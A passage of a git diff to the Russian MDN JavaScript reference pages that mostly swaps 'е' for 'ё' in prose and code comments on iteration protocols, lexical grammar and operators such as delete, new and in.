показывает что мы создаём и работаем с таблицей из JavaScript, но экземпляр таблицы также виден и доступен внутри модуля wasm.</p> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/javascript/reference/iteration_protocols/index.html b/files/ru/web/javascript/reference/iteration_protocols/index.html index cc9b66658a..4c42e875f7 100644 --- a/files/ru/web/javascript/reference/iteration_protocols/index.html +++ b/files/ru/web/javascript/reference/iteration_protocols/index.html @@ -9,7 +9,7 @@ translation_of: Web/JavaScript/Reference/Iteration_protocols <div>{{jsSidebar("More")}}</div> </div> -<p>Одно из нововведений стандарта ECMAScript 2015 - протоколы перебора, которые могут реализованы любым объектом, соблюдая при этом определенные правила.</p> +<p>Одно из нововведений стандарта ECMAScript 2015 - протоколы перебора, которые могут реализованы любым объектом, соблюдая при этом определённые правила.</p> <h2 id="Протоколы_перебора">Протоколы перебора</h2> @@ -42,7 +42,7 @@ translation_of: Web/JavaScript/Reference/Iteration_protocols <p>Протокол "<strong>Итератор</strong>" определяет стандартный способ получения последовательности значений (конечной или бесконечной).</p> -<p>Объект является итератором, если в нем определен метод <strong>next()</strong> , реализующий следующую логику:</p> +<p>Объект является итератором, если в нем определён метод <strong>next()</strong> , реализующий следующую логику:</p> <table class="standard-table"> <tbody> @@ -129,7 +129,7 @@ someString + "" // "hi" <p>{{jsxref("String")}}, {{jsxref("Array")}}, {{jsxref("TypedArray")}}, {{jsxref("Map")}} и {{jsxref("Set")}} итерируемы, так как их прототипы содержат <code>@@</code><code>iterator</code> метод, а {{jsxref("Object")}} нет, так как прототип {{jsxref("Object")}} не содержит метода <code>@@</code><code>iterator</code></p> -<h2 id="Итерируемость_определенная_пользователем">Итерируемость определенная пользователем</h2> +<h2 id="Итерируемость_определённая_пользователем">Итерируемость определённая пользователем</h2> <p>Мы можем создать итерируемый объект сами:</p> diff --git a/files/ru/web/javascript/reference/lexical_grammar/index.html b/files/ru/web/javascript/reference/lexical_grammar/index.html index 24705ce8ec..9c74d62e61 100644 --- a/files/ru/web/javascript/reference/lexical_grammar/index.html +++ b/files/ru/web/javascript/reference/lexical_grammar/index.html @@ -50,7 +50,7 @@ ECMAScript также определяет ключевые слова и лит <h2 id="Пробелы">Пробелы</h2> -<p>Пробельные символы улучшают читабельность исходного текста и разделяет токены друг от друга. Пробельные символы обычно не обязательны для функционирования кода. <a href="http://en.wikipedia.org/wiki/Minification_%28programming%29">Утилиты для уменьшения объема кода</a> часто удаляют пробельные символы, чтобы уменьшить объем кода.</p> +<p>Пробельные символы улучшают читабельность исходного текста и разделяет токены друг от друга. Пробельные символы обычно не обязательны для функционирования кода. <a href="http://en.wikipedia.org/wiki/Minification_%28programming%29">Утилиты для уменьшения объёма кода</a> часто удаляют пробельные символы, чтобы уменьшить объем кода.</p> <table class="standard-table"> <caption>Таблица пробельных символов</caption> @@ -212,7 +212,7 @@ comment();</pre> <p>Третий специализированный синтаксис комментариев, <strong>шебанг комментарий</strong>, в процессе стандартизации в ECMAScript (смотреть <a href="https://github.com/tc39/proposal-hashbang">Hashbang Grammar proposal</a>).</p> -<p>Шебанг комментарий ведет себя точно также как и однострочный (<code>//</code>) комментарий. Вместо этого, он начинается с <code>#!</code> и <strong>действителен только в самом начале скрипта или модуля</strong>. Обратите внимание, что никакие пробелы не разрешены перед <code>#!</code>. Комментарий состоит из всех символов после <code>#!</code> до конца первой строки; только такой комментарий разрешен.</p> +<p>Шебанг комментарий ведёт себя точно также как и однострочный (<code>//</code>) комментарий. Вместо этого, он начинается с <code>#!</code> и <strong>действителен только в самом начале скрипта или модуля</strong>. Обратите внимание, что никакие пробелы не разрешены перед <code>#!</code>. Комментарий состоит из всех символов после <code>#!</code> до конца первой строки; только такой комментарий разрешен.</p> <p>Шебанг комментарий определяет путь к JavaScript интерпретатору, скрипт которого Вы хотите выполнить. Пример, как это работает:</p> @@ -366,7 +366,7 @@ false</pre> 0777 // распознается, как восьмеричное число, 511 - как десятичное число </pre> -<p>Имейте в виду, что литералы десятичных чисел могут начинаться с нуля (0), за которым следует другое десятичное число, но в случае, если число начинается с нуля и за ним идет цифра меньше 8, то число будет распознано как восьмеричное. This won't throw in JavaScript, see {{bug(957513)}}. See also the page about <code>{{jsxref('Global_Objects/parseInt','parseInt()','Octal_interpretations_with_no_radix')}}</code>.</p> +<p>Имейте в виду, что литералы десятичных чисел могут начинаться с нуля (0), за которым следует другое десятичное число, но в случае, если число начинается с нуля и за ним идёт цифра меньше 8, то число будет распознано как восьмеричное. This won't throw in JavaScript, see {{bug(957513)}}. See also the page about <code>{{jsxref('Global_Objects/parseInt','parseInt()','Octal_interpretations_with_no_radix')}}</code>.</p> <h4 id="Binary_двоичные_числа">Binary (двоичные числа)</h4> @@ -403,7 +403,7 @@ var m = 0o644; // 420 <pre class="brush: js notranslate">var o = { a: "foo", b: "bar", c: 42 }; -// сокращенная нотация. Появилась в ES2015 +// сокращённая нотация. Появилась в ES2015 var a = "foo", b = "bar", c = 42; var o = {a, b, c}; // вместо @@ -481,7 +481,7 @@ tag `string text ${expression} string text`</pre> <li><code>return</code></li> </ul> -<p>Спецификация ECMAScript напоминает о <a href="http://people.mozilla.org/~jorendorff/es6-draft.html#sec-rules-of-automatic-semicolon-insertion">трех правилах вставки точки с запятой</a>.</p> +<p>Спецификация ECMAScript напоминает о <a href="http://people.mozilla.org/~jorendorff/es6-draft.html#sec-rules-of-automatic-semicolon-insertion">трёх правилах вставки точки с запятой</a>.</p> <p>1. Точка с запятой ставится до, когда ограничитель строки или "}" is encountered that is not allowed by the grammar.</p> diff --git a/files/ru/web/javascript/reference/operators/addition/index.html b/files/ru/web/javascript/reference/operators/addition/index.html index 94efb4b63e..c55fa767fe 100644 --- a/files/ru/web/javascript/reference/operators/addition/index.html +++ b/files/ru/web/javascript/reference/operators/addition/index.html @@ -8,7 +8,7 @@ translation_of: Web/JavaScript/Reference/Operators/Addition --- <div>{{jsSidebar("Operators")}}</div> -<p>Оператор сложения (+) создает сумму числовых операндов или конкатенацию строк.</p> +<p>Оператор сложения (+) создаёт сумму числовых операндов или конкатенацию строк.</p> <div>{{EmbedInteractiveExample("pages/js/expressions-addition.html")}}</div> diff --git a/files/ru/web/javascript/reference/operators/await/index.html b/files/ru/web/javascript/reference/operators/await/index.html index ecce9884c5..6159cd8b19 100644 --- a/files/ru/web/javascript/reference/operators/await/index.html +++ b/files/ru/web/javascript/reference/operators/await/index.html @@ -22,7 +22,7 @@ translation_of: Web/JavaScript/Reference/Operators/await <h2 id="Описание">Описание</h2> -<p>Оператор <code>await</code> заставляет функцию, объявленную с использованием оператора <code>async</code>, ждать выполнения <code>Promise</code> и продолжать выполнение после возвращения <code>Promise</code> значения. Впоследствии возвращает полученное из <code>Promise</code> значение. Если типом значения, к которому был применен оператор <code>await</code>, является не <code>Promise</code>, то значение приводится к успешно выполненному <code>Promise</code>.</p> +<p>Оператор <code>await</code> заставляет функцию, объявленную с использованием оператора <code>async</code>, ждать выполнения <code>Promise</code> и продолжать выполнение после возвращения <code>Promise</code> значения. Впоследствии возвращает полученное из <code>Promise</code> значение. Если типом значения, к которому был применён оператор <code>await</code>, является не <code>Promise</code>, то значение приводится к успешно выполненному <code>Promise</code>.</p> <p>Если <code>Promise</code> отклоняется, то <code>await</code> генерирует исключение с отклонённым значением.</p> @@ -54,7 +54,7 @@ f1(); f2(); </pre> -<p>Если <code>Promise</code> отклонен, то выбрасывается исключение с переданным значением.</p> +<p>Если <code>Promise</code> отклонён, то выбрасывается исключение с переданным значением.</p> <pre class="brush: js">async function f3() { try { diff --git a/files/ru/web/javascript/reference/operators/bitwise_and/index.html b/files/ru/web/javascript/reference/operators/bitwise_and/index.html index 6c08ef0ded..099bbe37cd 100644 --- a/files/ru/web/javascript/reference/operators/bitwise_and/index.html +++ b/files/ru/web/javascript/reference/operators/bitwise_and/index.html @@ -72,7 +72,7 @@ translation_of: Web/JavaScript/Reference/Operators/Bitwise_AND 14 & 9 (base 10) = 00000000000000000000000000001000 (base 2) = 8 (base 10) </pre> -<p>Побитовое И для любого числа <code><var>x</var></code> с <code>0</code> дает <code>0</code>.</p> +<p>Побитовое И для любого числа <code><var>x</var></code> с <code>0</code> даёт <code>0</code>.</p> <h2 id="Примеры">Примеры</h2> diff --git a/files/ru/web/javascript/reference/operators/comma_operator/index.html b/files/ru/web/javascript/reference/operators/comma_operator/index.html index 85d739fdab..de9bc91731 100644 --- a/files/ru/web/javascript/reference/operators/comma_operator/index.html +++ b/files/ru/web/javascript/reference/operators/comma_operator/index.html @@ -31,13 +31,13 @@ original_slug: Web/JavaScript/Reference/Operators/Оператор_Запята <h2 id="Примеры">Примеры</h2> -<p>Если <code>a</code> это двумерный массив элементов размерностью 10 х 10, то приведенный ниже код использует оператор запятая для одновременного изменения двух переменных за раз.</p> +<p>Если <code>a</code> это двумерный массив элементов размерностью 10 х 10, то приведённый ниже код использует оператор запятая для одновременного изменения двух переменных за раз.</p> <p>Следующий код выводит в консоль значения диагональных элементов массива:</p> <pre class="brush:js;highlight:[1]">for (let i = 0, j = 9; i <= 9; i++, j--) console.log("a[" + i + "][" + j + "] = " + a[i][j]);</pre> -<p>Заметьте, что запятая при объявлении переменной <code>var</code>, <code>let</code> или <code>const</code> <strong>не</strong> является оператором запятая, так как в данном случае она находится не в выражении. Скорее, это спец символ в объявлении переменных, комбинирующий их множество в одно выражение. Практически, эта запятая ведет себя почти так же, как и запятая.</p> +<p>Заметьте, что запятая при объявлении переменной <code>var</code>, <code>let</code> или <code>const</code> <strong>не</strong> является оператором запятая, так как в данном случае она находится не в выражении. Скорее, это спец символ в объявлении переменных, комбинирующий их множество в одно выражение. Практически, эта запятая ведёт себя почти так же, как и запятая.</p> <pre class="brush: js"> // подобное объявление запрещено в строгом режиме(strict mode) diff --git a/files/ru/web/javascript/reference/operators/conditional_operator/index.html b/files/ru/web/javascript/reference/operators/conditional_operator/index.html index 8b035ad9e4..7eabde0687 100644 --- a/files/ru/web/javascript/reference/operators/conditional_operator/index.html +++ b/files/ru/web/javascript/reference/operators/conditional_operator/index.html @@ -42,9 +42,9 @@ original_slug: Web/JavaScript/Reference/Operators/Условный_операт <pre class="brush: js notranslate">var firstCheck = false, secondCheck = false, - access = firstCheck ? "Доступ запрещен" : secondCheck ? "Доступ запрещен" : "Доступ разрешен"; + access = firstCheck ? "Доступ запрещён" : secondCheck ? "Доступ запрещён" : "Доступ разрешён"; -console.log( access ); // выводит в консоль "Доступ разрешен"</pre> +console.log( access ); // выводит в консоль "Доступ разрешён"</pre> <p>Тернарные операции можно использовать и сами по себе - для выполнения различных операций:</p> @@ -62,18 +62,18 @@ age > 18 ? ( location.assign("continue.html") ) : ( stop = true, - alert("Простите, вы еще так юны!") + alert("Простите, вы ещё так юны!") ); </pre> -<p>При присвоении значения также возможно выполнение более одной операции. В этом случае переменной <strong>будет присвоено то значение, </strong><em><strong>которое стоит последним в списке значений, разделенных запятой</strong></em>.</p> +<p>При присвоении значения также возможно выполнение более одной операции. В этом случае переменной <strong>будет присвоено то значение, </strong><em><strong>которое стоит последним в списке значений, разделённых запятой</strong></em>.</p> <pre class="brush: js notranslate">var age = 16; var url = age > 18 ? ( alert("Хорошо, вы можете продолжить."), - // alert вернет "undefined", но это будет проигнорировано, потому что - // не является последним в списке значений, разделенных запятой + // alert вернёт "undefined", но это будет проигнорировано, потому что + // не является последним в списке значений, разделённых запятой "continue.html" // значение будет присвоено, если age > 18 ) : ( alert("Вы слишком молоды!"), diff --git a/files/ru/web/javascript/reference/operators/delete/index.html b/files/ru/web/javascript/reference/operators/delete/index.html index 2edf33b67e..d7722fa829 100644 --- a/files/ru/web/javascript/reference/operators/delete/index.html +++ b/files/ru/web/javascript/reference/operators/delete/index.html @@ -64,18 +64,18 @@ delete <em>property</em> // удаляет свойства глобальног <p><code>delete</code> эффективен только применительно к свойствам объектов. Он не оказывает никакого влияния на имена переменных и функций.<br> Присвоение значения свойству без указания объекта (без оператора var) иногда неверно характеризуется, как глобальная переменная, (например <code>x = 5</code>). На самом деле происходит присвоение значения свойству глобального объекта.</p> -<p><code>delete</code> не может удалить определенные свойства встроенных объектов (таких как Object, Array, Math и так далее). В спецификации ECMA-262 они обозначены как <em>DontDelete.</em></p> +<p><code>delete</code> не может удалить определённые свойства встроенных объектов (таких как Object, Array, Math и так далее). В спецификации ECMA-262 они обозначены как <em>DontDelete.</em></p> -<pre class="brush: js">x = 42; // создает свойство x в глобальном объекте +<pre class="brush: js">x = 42; // создаёт свойство x в глобальном объекте var y = 43; // объявляет новую переменную, y myobj = {}; -myobj.h = 4; // создает свойство h в myobj -myobj.k = 5; // создает свойство k в myobj +myobj.h = 4; // создаёт свойство h в myobj +myobj.k = 5; // создаёт свойство k в myobj delete x; // возвращает true (x - свойство глобального объекта и может быть удалено) delete y; // возвращает false (delete не влияет на имена переменных) -delete Math.PI; // возвращает false (delete не влияет на определенные встроенные свойства) -delete myobj.h; // возвращает true (свойства, определенные пользователем могут быть удалены) +delete Math.PI; // возвращает false (delete не влияет на определённые встроенные свойства) +delete myobj.h; // возвращает true (свойства, определённые пользователем могут быть удалены) with(myobj) { delete k; // возвращает true (эквивалентно delete myobj.k) @@ -89,7 +89,7 @@ delete myobj; // возвращает true (myobj это свойство г Foo.prototype.bar = 42; var foo = new Foo(); delete foo.bar; // возвращает true, но безрезультатно, так как bar - наследуемое свойство -alert(foo.bar); // выводит 42, свойство все еще наследуется +alert(foo.bar); // выводит 42, свойство все ещё наследуется delete Foo.prototype.bar; // удаляет свойство из прототипа alert(foo.bar); // выводит "undefined", свойство больше не наследуется</pre> @@ -106,7 +106,7 @@ if (3 in trees) { // этот участок кода не выполнится }</pre> -<p>Если Вы хотите, чтобы элемент массива существовал, но имел значение undefined, используйте значение <code>undefined</code> вместо оператора <code>delete</code>. В следующем примере, trees{{ mediawiki.external(3) }} принимает значение undefined, но элемент массива все еще существует:</p> +<p>Если Вы хотите, чтобы элемент массива существовал, но имел значение undefined, используйте значение <code>undefined</code> вместо оператора <code>delete</code>. В следующем примере, trees{{ mediawiki.external(3) }} принимает значение undefined, но элемент массива все ещё существует:</p> <pre class="brush: js">var trees = ["redwood","bay","cedar","oak","maple"]; trees[3]=undefined; @@ -116,9 +116,9 @@ if (3 in trees) { <h2 id="Проблема_кроссбраузерности">Проблема кроссбраузерности</h2> -<p>Несмотря на то, что стандарт ECMAScript оставляет порядок итерации по свойствам объектов на усмотрение реализующей стороны, может оказаться так, что все основные браузеры поддерживают порядок итерации, основанный на принципе "свойство добавленное в объект раньше идет раньше" (по крайней мере для свойств не находящихся в прототипе). Однако, в случае с Internet Explorer, когда кто-нибудь использует <code>delete</code> с каким-либо свойством, это приводит к некоторым неожиданным результатам, заставляя другие браузеры отказаться от использования простых объектов, таких как литералы объектов, в качестве ассоциативных массивов. В Internet Explorer, когда значение свойства установлено в undefined, после удаления этого свойства, если кто-нибудь позже добавит свойство с таким же именем, оно окажется в своей <em>старой</em> позиции, а не в конце итерационной последовательности, как ожидается.</p> +<p>Несмотря на то, что стандарт ECMAScript оставляет порядок итерации по свойствам объектов на усмотрение реализующей стороны, может оказаться так, что все основные браузеры поддерживают порядок итерации, основанный на принципе "свойство добавленное в объект раньше идёт раньше" (по крайней мере для свойств не находящихся в прототипе). Однако, в случае с Internet Explorer, когда кто-нибудь использует <code>delete</code> с каким-либо свойством, это приводит к некоторым неожиданным результатам, заставляя другие браузеры отказаться от использования простых объектов, таких как литералы объектов, в качестве ассоциативных массивов. В Internet Explorer, когда значение свойства установлено в undefined, после удаления этого свойства, если кто-нибудь позже добавит свойство с таким же именем, оно окажется в своей <em>старой</em> позиции, а не в конце итерационной последовательности, как ожидается.</p> -<p>Поэтому, если Вы хотите симулировать упорядоченный ассоциативный массив в кроссбраузерной среде, вам придется либо использовать два отдельных массива (один для ключей и один для значений), либо построить массив из объектов с одним свойством и так далее.</p> +<p>Поэтому, если Вы хотите симулировать упорядоченный ассоциативный массив в кроссбраузерной среде, вам придётся либо использовать два отдельных массива (один для ключей и один для значений), либо построить массив из объектов с одним свойством и так далее.</p> <h2 id="Specification" name="Specification">Внешние ссылки</h2> diff --git a/files/ru/web/javascript/reference/operators/in/index.html b/files/ru/web/javascript/reference/operators/in/index.html index 7260b5913e..7570704fb8 100644 --- a/files/ru/web/javascript/reference/operators/in/index.html +++ b/files/ru/web/javascript/reference/operators/in/index.html @@ -58,7 +58,7 @@ var color2 = "coral"; "length" in color2 </pre> -<h3 id="Использование_оператора_in_с_неопределенными_или_с_уже_удаленными_свойствами">Использование оператора <code>in</code> с неопределенными или с уже удаленными свойствами</h3> +<h3 id="Использование_оператора_in_с_неопределёнными_или_с_уже_удалёнными_свойствами">Использование оператора <code>in</code> с неопределёнными или с уже удалёнными свойствами</h3> <p>Если вы удалили свойство при помощи оператора <code style="font-style: normal;"><a href="/ru/docs/Web/JavaScript/Reference/Operators/delete" title="en-US/docs/JavaScript/Reference/Operators/Special/delete">delete</a></code>, то оператор <code>in</code> возвратит <code>false</code> для этого свойства.</p> @@ -71,7 +71,7 @@ delete trees[3]; 3 in trees; // false </pre> -<p>Если вы зададите свойству значение {{jsxref("Global_Objects/undefined", "undefined")}}, но не удалите его, то для этого свойства оператор <code>in</code> вернет значение <code>true</code>.</p> +<p>Если вы зададите свойству значение {{jsxref("Global_Objects/undefined", "undefined")}}, но не удалите его, то для этого свойства оператор <code>in</code> вернёт значение <code>true</code>.</p> <pre class="brush:js">var mycar = {make: "Honda", model: "Accord", year: 1998}; mycar.make = undefined; diff --git a/files/ru/web/javascript/reference/operators/instanceof/index.html b/files/ru/web/javascript/reference/operators/instanceof/index.html index dd264b0a07..a9274710e2 100644 --- a/files/ru/web/javascript/reference/operators/instanceof/index.html +++ b/files/ru/web/javascript/reference/operators/instanceof/index.html @@ -109,7 +109,7 @@ myDate instanceof String; // возвращает false <h3 id="Показывает_что_mycar_имеет_тип_Car_и_тип_Object">Показывает, что <code>mycar</code> имеет тип <code>Car</code> и тип <code>Object</code></h3> -<p>Следующий код создает тип <code>Car</code> и экземпляр этого типа, <code>mycar</code>. Оператор <code>instanceof</code> показывает, что объект <code>mycar</code> имеет тип <code>Car</code> и тип <code>Object</code>.</p> +<p>Следующий код создаёт тип <code>Car</code> и экземпляр этого типа, <code>mycar</code>. Оператор <code>instanceof</code> показывает, что объект <code>mycar</code> имеет тип <code>Car</code> и тип <code>Object</code>.</p> <pre class="brush: js">function Car(make, model, year) { this.make = make; diff --git a/files/ru/web/javascript/reference/operators/new.target/index.html b/files/ru/web/javascript/reference/operators/new.target/index.html index bab9b8e956..5feccb7b52 100644 --- a/files/ru/web/javascript/reference/operators/new.target/index.html +++ b/files/ru/web/javascript/reference/operators/new.target/index.html @@ -47,8 +47,8 @@ Foo(); // ошибка "Foo() must be called with new" class B extends A { constructor() { super(); } } -var a = new A(); // вернет "A" -var b = new B(); // вернет "B" +var a = new A(); // вернёт "A" +var b = new B(); // вернёт "B" </pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/javascript/reference/operators/new/index.html b/files/ru/web/javascript/reference/operators/new/index.html index b6f4ed80b7..6afdd75f04 100644 --- a/files/ru/web/javascript/reference/operators/new/index.html +++ b/files/ru/web/javascript/reference/operators/new/index.html @@ -9,7 +9,7 @@ translation_of: Web/JavaScript/Reference/Operators/new --- <div>{{jsSidebar("Operators")}}</div> -<p><strong>Оператор </strong>(операторная функция)<strong> <code>new</code></strong> создает экземпляр объекта, встроенного или определенного пользователем, имеющего конструктор.</p> +<p><strong>Оператор </strong>(операторная функция)<strong> <code>new</code></strong> создаёт экземпляр объекта, встроенного или определённого пользователем, имеющего конструктор.</p> <h2 id="Синтаксис">Синтаксис</h2> @@ -29,7 +29,7 @@ translation_of: Web/JavaScript/Reference/Operators/new <h2 id="Описание">Описание</h2> -<p>Создание объекта, определенного пользователем, требует два шага:</p> +<p>Создание объекта, определённого пользователем, требует два шага:</p> <ol> <li>Написать функцию, которая задаст тип объекта.</li> @@ -41,14 +41,14 @@ translation_of: Web/JavaScript/Reference/Operators/new <p>Когда исполняется <code>new <em>Foo</em>(...)</code> , происходит следующее:</p> <ol> - <li>Создается новый объект, наследующий <code><em>Foo</em>.prototype.</code></li> + <li>Создаётся новый объект, наследующий <code><em>Foo</em>.prototype.</code></li> <li>Вызывается конструктор — функция <code><em>Foo</em></code> с указанными аргументами и <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">this</a>, привязанным к только что созданному объекту</code>. <code>new F<em>oo</em></code> эквивалентно <code>new </code><em>F<code>oo</code></em><code>()</code>, то есть если аргументы не указаны, Foo вызывается без аргументов.</li> - <li>Результатом выражения new становится объект, возвращенный конструктором. Если конструктор не возвращает объект явно, используется объект из п. 1. (Обычно конструкторы не возвращают значение, но они могут делать это, если нужно переопределить обычный процесс создания объектов.)</li> + <li>Результатом выражения new становится объект, возвращённый конструктором. Если конструктор не возвращает объект явно, используется объект из п. 1. (Обычно конструкторы не возвращают значение, но они могут делать это, если нужно переопределить обычный процесс создания объектов.)</li> </ol> <p>Всегда можно добавить свойство к уже созданному объекту. Например, <code>car1.color = "black"</code> добавляет свойство <code>color</code> к объекту <code>car1</code>, и присваивает ему значение "<code>black</code>". Это не затрагивает другие объекты. Чтобы добавить свойство ко всем объектам типа, нужно добавлять его в определение типа Car.</p> -<p>Добавить свойство к ранее определенному типу можно используя свойство <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/prototype">Function.prototype</a></code>. Это определит свойство для всех объектов, созданных этой функцией, а не только у какого-либо экземпляра. Следующий пример добавляет свойство color со значением <code>null</code> всем объектам типа <code>car</code>, а потом меняет его на "<code>black</code>" только у экземпляра <code>car1</code>. Больше информации в статье <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/prototype">prototype</a>.</p> +<p>Добавить свойство к ранее определённому типу можно используя свойство <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/prototype">Function.prototype</a></code>. Это определит свойство для всех объектов, созданных этой функцией, а не только у какого-либо экземпляра. Следующий пример добавляет свойство color со значением <code>null</code> всем объектам типа <code>car</code>, а потом меняет его на "<code>black</code>" только у экземпляра <code>car1</code>. Больше информации в статье <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/prototype">prototype</a>.</p> <pre class="brush: js">function Car() {} car1 = new Car(); @@ -80,7 +80,7 @@ console.log(car1.color); // black <pre class="brush: js">var mycar = new Car("Eagle", "Talon TSi", 1993); </pre> -<p>Это выражение создает экземпляр <code>mycar</code> и присваивает его свойствам указанные значения. Таким образом, <code>mycar.make</code> принимает значение "Eagle", <code>mycar.year</code> принимает значение 1993, и так далее.</p> +<p>Это выражение создаёт экземпляр <code>mycar</code> и присваивает его свойствам указанные значения. Таким образом, <code>mycar.make</code> принимает значение "Eagle", <code>mycar.year</code> принимает значение 1993, и так далее.</p> <p>Можно создать любое количество экземпляров <code>car</code> с помощью оператора <code>new</code>. Например:</p> diff --git a/files/ru/web/javascript/reference/operators/nullish_coalescing_operator/index.html b/files/ru/web/javascript/reference/operators/nullish_coalescing_operator/index.html index 71484f05a1..a8482f38c8 100644 --- a/files/ru/web/javascript/reference/operators/nullish_coalescing_operator/index.html +++ b/files/ru/web/javascript/reference/operators/nullish_coalescing_operator/index.html @@ -131,7 +131,7 @@ console.log(foo.someBarProp?.toUpperCase()); // undefined <h3 id="Прогресс_реализации">Прогресс реализации</h3> -<p>В следующей таблице приведено ежедневное состояние реализации этой функции, поскольку эта функция еще не достигла стабильности в разных браузерах. Данные генерируются путем запуска соответствующих тестов функциональности в <a href="https://github.com/tc39/test262">Test262</a>, стандартном наборе тестов JavaScript, в ночной сборке или в последней версии движка JavaScript каждого браузера.</p> +<p>В следующей таблице приведено ежедневное состояние реализации этой функции, поскольку эта функция ещё не достигла стабильности в разных браузерах. Данные генерируются путём запуска соответствующих тестов функциональности в <a href="https://github.com/tc39/test262">Test262</a>, стандартном наборе тестов JavaScript, в ночной сборке или в последней версии движка JavaScript каждого браузера.</p> <div>{{EmbedTest262ReportResultsTable("coalesce-expression")}}</div> diff --git a/files/ru/web/javascript/reference/operators/object_initializer/index.html b/files/ru/web/javascript/reference/operators/object_initializer/index.html index 5f8d445e0d..8487de375a 100644 --- a/files/ru/web/javascript/reference/operators/object_initializer/index.html +++ b/files/ru/web/javascript/reference/operators/object_initializer/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Operators/Object_initializer --- <div>{{JsSidebar("Операторы")}}</div> -<p>Объекты могут быть инициализированы с помощью <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object"><code>new Object()</code></a>,<code> <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/create">Object.create()</a> </code>или <em>литеральной</em> (<em>инициирующей</em>) нотации. Инициализатор объекта это разделенный запятыми список ноль или более пар имен свойств и ассоциируемых с ними значений, заключенных в фигурные скобки (<code>{}</code>).</p> +<p>Объекты могут быть инициализированы с помощью <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object"><code>new Object()</code></a>,<code> <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/create">Object.create()</a> </code>или <em>литеральной</em> (<em>инициирующей</em>) нотации. Инициализатор объекта это разделённый запятыми список ноль или более пар имён свойств и ассоциируемых с ними значений, заключённых в фигурные скобки (<code>{}</code>).</p> <h2 id="Синтаксис">Синтаксис</h2> @@ -26,16 +26,16 @@ var o = { <p>Пожалуйста, просмотрите таблицу поддержки этих нотаций. В неподдерживаемом окружении, эти нотации приведут к синтаксической ошибке.</p> -<pre class="brush: js">// Сокращение имен свойств (ES2015) +<pre class="brush: js">// Сокращение имён свойств (ES2015) var a = 'foo', b = 42, c = {}; var o = {a, b, c}; -// Сокращение имен методов (ES2015) +// Сокращение имён методов (ES2015) var o = { <var>property</var>([<var>parameters</var>]) {} }; -// Вычисление имен свойств (ES2015) +// Вычисление имён свойств (ES2015) var prop = 'foo'; var o = { [prop]: 'hey', @@ -52,7 +52,7 @@ var o = { <pre class="brush: js">var object = {};</pre> -<p>Однако, преимущество <em>литеральной</em> или <em>инициирующей</em> нотации это возможность быстро создавать объекты со свойствами внутри фигурных скобок. Создается простой список пар <code>ключ: значение</code>, разделенных запятой. Следующий код создает объект с тремя парами значений и ключи это <code>"foo"</code>, <code>"age"</code> и <code>"baz"</code>. Значения этих ключей строка <code>"bar"</code>, число <code>42</code> и другой объект.</p> +<p>Однако, преимущество <em>литеральной</em> или <em>инициирующей</em> нотации это возможность быстро создавать объекты со свойствами внутри фигурных скобок. Создаётся простой список пар <code>ключ: значение</code>, разделённых запятой. Следующий код создаёт объект с тремя парами значений и ключи это <code>"foo"</code>, <code>"age"</code> и <code>"baz"</code>. Значения этих ключей строка <code>"bar"</code>, число <code>42</code> и другой объект.</p> <pre class="brush: js">var object = { foo: 'bar', @@ -90,14 +90,14 @@ var o = { b = 42, c = {}; -// Сокращение имен свойств (ES2015) +// Сокращение имён свойств (ES2015) var o = {a, b, c}; // Иначе говоря, console.log((o.a === {a}.a)); // true </pre> -<h4 id="Повторение_имен_свойств">Повторение имен свойств</h4> +<h4 id="Повторение_имён_свойств">Повторение имён свойств</h4> <p>Когда используются одинаковые имена свойств, второе свойство перезапишет первое.</p> @@ -105,14 +105,14 @@ console.log((o.a === {a}.a)); // true console.log(a); // {x: 2} </pre> -<p>В строгом режиме ECMAScript 5, повторение имен свойств будет воспринято как {{jsxref("SyntaxError")}}. С введением вычисляемых имен свойств и появлением возможности создавать дубликаты во время выполнения кода, ECMAScript 2015 убрал это ограничение.</p> +<p>В строгом режиме ECMAScript 5, повторение имён свойств будет воспринято как {{jsxref("SyntaxError")}}. С введением вычисляемых имён свойств и появлением возможности создавать дубликаты во время выполнения кода, ECMAScript 2015 убрал это ограничение.</p> <pre class="brush: js">function haveES2015DuplicatePropertySemantics() { 'use strict'; try { ({prop: 1, prop: 2}); - // Не будет ошибки, повторение имен доступно в строгом режиме + // Не будет ошибки, повторение имён доступно в строгом режиме return true; } catch(e) { // Будет ошибка, дубликаты запрещены в строгом режиме @@ -132,7 +132,7 @@ console.log(a); // {x: 2} <p>В ECMAScript 2015, доступна короткая нотация, поэтому слово "function" более не обязательно.</p> -<pre class="brush: js">// Сокращение имен методов (ES2015) +<pre class="brush: js">// Сокращение имён методов (ES2015) var o = { <var>property</var>([<var>parameters</var>]) {}, *<var>generator</var>() {} @@ -243,7 +243,7 @@ assert(obj3.__proto__ === 17); <li>В JSON значения могут быть только строками, числами, массивами, <code>true</code>, <code>false</code>, <code>null</code> или другими (JSON) объектами.</li> <li>Значения-функции (смотри "Методы" выше) не могут быть присвоены свойствам в JSON.</li> <li>Объект вида {{jsxref("Date")}} будет строкой после {{jsxref("JSON.parse()")}}.</li> - <li>{{jsxref("JSON.parse()")}} отклонит вычисляемые имена свойств и вернет ошибку.</li> + <li>{{jsxref("JSON.parse()")}} отклонит вычисляемые имена свойств и вернёт ошибку.</li> </ul> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/javascript/reference/operators/optional_chaining/index.html b/files/ru/web/javascript/reference/operators/optional_chaining/index.html index 959d17c800..b82d793eee 100644 --- a/files/ru/web/javascript/reference/operators/optional_chaining/index.html +++ b/files/ru/web/javascript/reference/operators/optional_chaining/index.html @@ -48,7 +48,7 @@ let nestedProp = ((temp === null || temp === undefined) ? undefined : temp.secon <p>Вы можете использовать <code>?.</code><strong>, </strong>когда необходимо вызвать метод, которого может не существовать. Это может быть полезно, например, при использовании API, в котором метод может быть недоступен из-за устаревания или не поддерживаем ости устройством пользователя.</p> -<p>Использование <code>?.</code><strong> </strong>с вызовом функции значит, что выполнение автоматически вернет <code>undefined</code>, а 